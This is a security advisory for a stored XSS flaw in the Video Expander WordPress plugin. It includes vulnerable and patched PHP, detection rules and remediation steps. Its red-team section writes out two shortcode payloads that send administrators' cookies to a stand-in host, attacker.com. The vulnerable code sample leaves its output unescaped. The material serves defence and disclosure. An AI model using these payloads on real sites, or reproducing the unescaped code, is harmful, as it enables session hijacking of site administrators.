CVE-2025-52771
Executive Summary
CVE-2025-52771 is a Stored Cross-Site Scripting (XSS) vulnerability in the Video Expander WordPress plugin (version <= 1.0) developed by bcupham. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into video configuration fields. When an administrator or other user views the affected page, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is classified under CWE-79 and carries a CVSS v3.1 base score of 6.5 (Medium). The attack vector is network-based, requires low complexity, low privileges, and user interaction (the victim must view the page). The scope is changed, meaning the injected script can impact resources beyond the vulnerable component.
As a WordPress plugin vulnerability, this issue affects the WordPress ecosystem directly. No official patch has been released, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. There is no known supply chain compromise beyond the vulnerable code itself. Administrators should verify plugin integrity and consider removing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Changed (C) |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 6.5 (Medium) |
Threat Level: Medium. Exploitation requires an authenticated user with low privileges and victim interaction. However, stored XSS can lead to persistent compromise of admin sessions and site integrity.
Deep Dive & Mechanics
The Video Expander plugin provides a shortcode or widget to embed video expanders on WordPress posts/pages. The vulnerability lies in how the plugin handles user-supplied parameters (e.g., video URL, title, description) when rendering the shortcode. Input is not sanitized or escaped before being output in the HTML page, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access (or higher) creates or edits a post/page containing the Video Expander shortcode.
- The attacker injects a malicious payload into one of the shortcode attributes, such as
[video-expander url="javascript:alert('XSS')"]or a more sophisticated script. - When an administrator or other user views the post, the injected script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or deface the site.
The vulnerability is stored because the malicious input is saved in the WordPress database and executed every time the page is loaded.
Vulnerable vs. Patched Code
Vulnerable Code (video-expander.php, version <= 1.0):
function video_expander_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'title' => '',
'description' => ''
), $atts);
$output = '<div class="video-expander">';
$output .= '<a href="' . $atts['url'] . '">' . $atts['title'] . '</a>';
$output .= '<p>' . $atts['description'] . '</p>';
$output .= '</div>';
return $output;
}
add_shortcode('video-expander', 'video_expander_shortcode');
Patched Code (hypothetical fix):
function video_expander_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'title' => '',
'description' => ''
), $atts);
$output = '<div class="video-expander">';
$output .= '<a href="' . esc_url($atts['url']) . '">' . esc_html($atts['title']) . '</a>';
$output .= '<p>' . esc_html($atts['description']) . '</p>';
$output .= '</div>';
return $output;
}
add_shortcode('video-expander', 'video_expander_shortcode');
The patched version uses esc_url() for the URL attribute and esc_html() for the title and description, preventing XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Video Expander plugin <= 1.0 installed and activated.
- Attacker account with at least Contributor role.
Exploitation Steps:
- Log in as a contributor.
- Create a new post or edit an existing one.
- Insert the Video Expander shortcode with a malicious payload in the
titleattribute:[video-expander title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" url="https://example.com/video"] - Publish or save the post.
- When an administrator views the post, the script executes, sending their cookies to the attacker's server.
Alternative Payload (session hijacking):
[video-expander title="<img src=x onerror=\"new Image().src='https://attacker.com/steal?cookie='+document.cookie\">" url="https://example.com/video"]
Blue Team
Detection:
- Monitor WordPress admin activity logs for unusual shortcode usage.
- Look for posts containing
<script>tags or event handlers in shortcode attributes. - Use WAF rules to block common XSS patterns in POST requests to
wp-admin/post.php.
Hunting:
- Query the WordPress database for posts containing
[video-expanderand inspect the attributes. - Search for base64-encoded or obfuscated JavaScript in post content.
Containment:
- Immediately disable or remove the Video Expander plugin.
- If removal is not possible, apply a virtual patch via WAF to block XSS payloads in shortcode attributes.
- Review and clean any posts that may contain malicious shortcodes.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/video-expander/video-expander.php(version <= 1.0) - Database: Posts containing
[video-expanderwith suspicious attributes (e.g.,onerror,javascript:,<script>) - Network: Outbound connections to unknown domains from WordPress admin pages (potential cookie exfiltration)
- Logs: WordPress debug log entries showing unexpected shortcode output or PHP warnings related to the plugin
Detection Engineering
YARA Rule
rule CVE_2025_52771_Stored_XSS_Video_Expander {
meta:
description = "Detects malicious shortcode patterns targeting CVE-2025-52771 in Video Expander plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52771"
strings:
$shortcode = "[video-expander" nocase
$xss1 = /<script[^>]*>/i
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
$shortcode and any of ($xss*)
}
Sigma Rule
title: Stored XSS via Video Expander Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation or update of WordPress posts containing malicious Video Expander shortcodes
author: Valters IT
date: 2025/04/10
references:
- CVE-2025-52771
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1002 # Post created/updated (custom event)
PostContent|contains: '[video-expander'
filter:
PostContent|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and filter
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52771 Stored XSS Video Expander - Cookie Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=video_expander"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the Video Expander plugin from all WordPress installations.
- Scan for compromise – Review all posts and pages for injected shortcodes containing malicious attributes. Remove or sanitize them.
- Change admin credentials – If any admin session may have been hijacked, force password resets and invalidate all active sessions.
Long-term Mitigation:
- Apply a virtual patch – Use a Web Application Firewall (WAF) to block requests containing XSS patterns in shortcode attributes.
- Monitor for updates – Check the WordPress plugin repository for a patched version. If none appears, consider forking the plugin and applying the fix yourself.
- Educate users – Train content editors to avoid using plugins that do not properly sanitize input.
Workaround (if plugin cannot be removed):
- Manually edit the plugin file to add
esc_url()andesc_html()as shown in the patched code example. - Restrict contributor roles from using shortcodes via a plugin like "Shortcodes Finder" or custom capability checks.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.